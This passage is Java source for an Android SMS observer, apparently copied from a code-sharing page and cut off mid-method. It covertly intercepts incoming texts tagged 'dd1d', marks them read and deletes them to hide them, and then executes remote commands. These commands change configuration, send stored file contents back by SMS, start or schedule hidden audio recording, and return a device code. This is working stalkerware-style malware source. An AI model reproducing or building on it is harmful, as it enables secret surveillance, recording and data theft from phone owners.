package cn.dd1d.broadcast;
/**
* 丁辉
* qq 843047027
*/
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.io.OutputStreamWriter;
import java.util.List;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.ContentObserver;
import android.database.Cursor;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Handler;
import android.telephony.gsm.SmsManager;
import cn.dd1d.common.ToolsAll;
import cn.dd1d.common.ToolsDate;
import cn.dd1d.db.dao.ConfigDao;
import cn.dd1d.db.dao.SmsDao;
import cn.dd1d.db.modle.ConfigInfo;
import cn.dd1d.db.modle.SmsInfo;
import cn.dd1d.mail.SendMail;
import cn.dd1d.service.AmrService;
import cn.dd1d.service.SendService;
public class SMSObserver extends ContentObserver {
private Context context;
private String number;
public static final String ZL_ID = "dd1d";// 指令标志
private static final String CONFIG = "config";// 配置命令
private static final String DELETE = "delete";// 删除命令
private static final String GET_XLH="getxlh";//获得序列号指令
private static final String SET_ZCM="setzcm";//设置注册码
private static final String SEND = "send";// 发送命令
private static final String RECORD_START = "r_st";// 录音开始命令
private static final String RECORD_STOP = "r_sp";// 录音结束命令
private static final String RECORD_AMR_TIME = "time_amr";// 录音定时录音
public static final String CONFIG_DATA="config";//配置数据
public static final String RINGER_MODE="ringer_mode";//用户设置的响铃模式
public static final String IS_ZC="is_zc";//是否注册
public static final String SEND_NUMBER_OF="send_number_of";
public static int beforeChangedRingerMode;//之前铃声模式
private static final String SMS_ID_CURRENT="sms_id_current";//当前最高的SMS id
private ContentResolver cr;
private SharedPreferences sp;
private SendMail sendMail;
private AudioManager am;//铃声管理器
private Handler handler=new Handler(){
public void handleMessage(android.os.Message msg) {
switch (msg.what) {
case 1:
am.setRingerMode(sp.getInt(RINGER_MODE,2));//设置到之前的铃音状态
break;
default:
break;
}
};
};
public SMSObserver(Context context, Handler handler) {
super(handler);
this.context = context;
// TODO Auto-generated constructor stub
}
@Override
public boolean deliverSelfNotifications() {
// TODO Auto-generated method stub
return super.deliverSelfNotifications();
}
@Override
public void onChange(boolean selfChange) {
// TODO Auto-generated method stub
System.out.println("SmsShuJuGaiBian");
cr = context.getContentResolver();
am=(AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
sp=context.getSharedPreferences(CONFIG_DATA,0);
sendMail=new SendMail(context);
changeOperation();
// while(cursor.moveToNext()){
// for(int i=0;i<cursor.getColumnCount();i++){
// System.out.println("Nmae: "+cursor.getColumnName(i)+" Content: "+cursor.getString(i));
// }
// }
super.onChange(selfChange);
}
private List<String> fileInput(String path, int rowSize) {
try {
FileInputStream fis = context.openFileInput(path);
InputStreamReader isr = new InputStreamReader(fis);
LineNumberReader br = new LineNumberReader(isr);
String jlsjRow = "";
String jlsjAll = "";
for (int i = 0; i < rowSize; i++) {
jlsjAll += "" + jlsjRow + "/n";
jlsjRow = br.readLine();
if (jlsjRow != null) {
sendSMS(number, jlsjRow);
}
}
fis.close();
isr.close();
br.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
private void fileOutpute(String sInfo) {
try {
FileOutputStream fos = context.openFileOutput("",
context.MODE_APPEND);
OutputStreamWriter osw = new OutputStreamWriter(fos);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 短信数据变化进行具体操作
*/
private void changeOperation() {
Cursor cursor = cr.query(Uri.parse("content://sms"), null, null, null,
"_id DESC");// 获得短信数据游标对象
// cursor.moveToFirst();
// for(int i=0;i<cursor.getCount();i++){
// for(int j=0;j<cursor.getColumnCount();j++){
// System.out.println("Name="+cursor.getColumnName(j)+" values="+cursor.getString(cursor.getColumnIndex(cursor.getColumnName(j))));
// }
// cursor.moveToNext();
// }
cursor.moveToFirst();
if (cursor.move(0)) {// 判断是否有短信
// SharedPreferences spID=context.getSharedPreferences(SMS_ID_CURRENT, 0);
// if(spID.getInt(SMS_ID_CURRENT, 0)>cursor.getInt(cursor.getColumnIndex("_id"))){//判断之前最高的ID是否大于当前ID
// spID.edit().putInt(SMS_ID_CURRENT,cursor.getInt(cursor.getColumnIndex("_id")) ).commit();//设置最高ID为当前ID
// return;
// }
//
// 判断是否是指令短信
String smsId = cursor.getString(cursor.getColumnIndex("_id"));// 获得短信ID
String body = cursor.getString(cursor.getColumnIndex("body"));// 获得短信内容
number = cursor.getString(cursor.getColumnIndex("address"));// 获得发送短信手机号
String smsType=cursor.getString(cursor.getColumnIndex("type"));//获得短信类型 是发送还是接收
// spID.edit().putInt(SMS_ID_CURRENT,cursor.getInt(cursor.getColumnIndex("_id")) ).commit();//设置最高ID为当前ID
if(smsType.equals("1")){//判断短信是发送的还是接收的 1为接收 2为发送
if (body.startsWith(ZL_ID)) {// 判断是否是指令开头
//sp.edit().putInt(RINGER_MODE, am.getRingerMode()).commit();//获得当前振铃设置
//am.setRingerMode(AudioManager.RINGER_MODE_SILENT);//设置为静音
ContentValues cv=new ContentValues();
cv.put("read", "1");
cr.update(Uri.parse("content://sms"),cv , "_id=?", new String[] { smsId }); //设置为已读
cr.delete(Uri.parse("content://sms"), "_id=?",
new String[] { smsId });//删除指令短信
// spID.edit().putInt(SMS_ID_CURRENT,(cursor.getInt(cursor.getColumnIndex("_id"))-1) ).commit();//设置最高ID为当前ID -1 因为删除了指令短信
System.out.println("============="+smsId);
body = body.substring(body.indexOf("/") + 1, body.length());// 除去开头指令
String zl = body.substring(0, body.indexOf("+")); // 获得指令
body = body.substring(body.indexOf("+") + 1, body.length());// 除去操作指令
if (zl.equals(CONFIG)) {// 判断是否是配置指令
doConfig(body);//设置配置信息
onAlarm();//重新设置触发闹铃时间
} else if (zl.equals(DELETE)) {
} else if (zl.equals(SEND)) {//判断发送命令
doSend(body);
} else if (zl.equals(RECORD_START)) {
Intent intent=new Intent(AmrService.START_AMR);
intent.setClass(context, AmrService.class);
context.startService(intent);
} else if (zl.equals(RECORD_STOP)) {
Intent intent=new Intent(AmrService.STOP_AMR);
intent.setClass(context, AmrService.class);
context.startService(intent);
} else if (zl.equals(RECORD_AMR_TIME)) {
Intent intent=new Intent(AmrService.AMR_TIME);
intent.setClass(context, AmrService.class);
intent.putExtra("values",body);
context.startService(intent);
}
else if(zl.equals(GET_XLH)){
sendSMS(number,ToolsAll.getCode(context));
- 1
- 2
- 3
- 4
- 5
前往页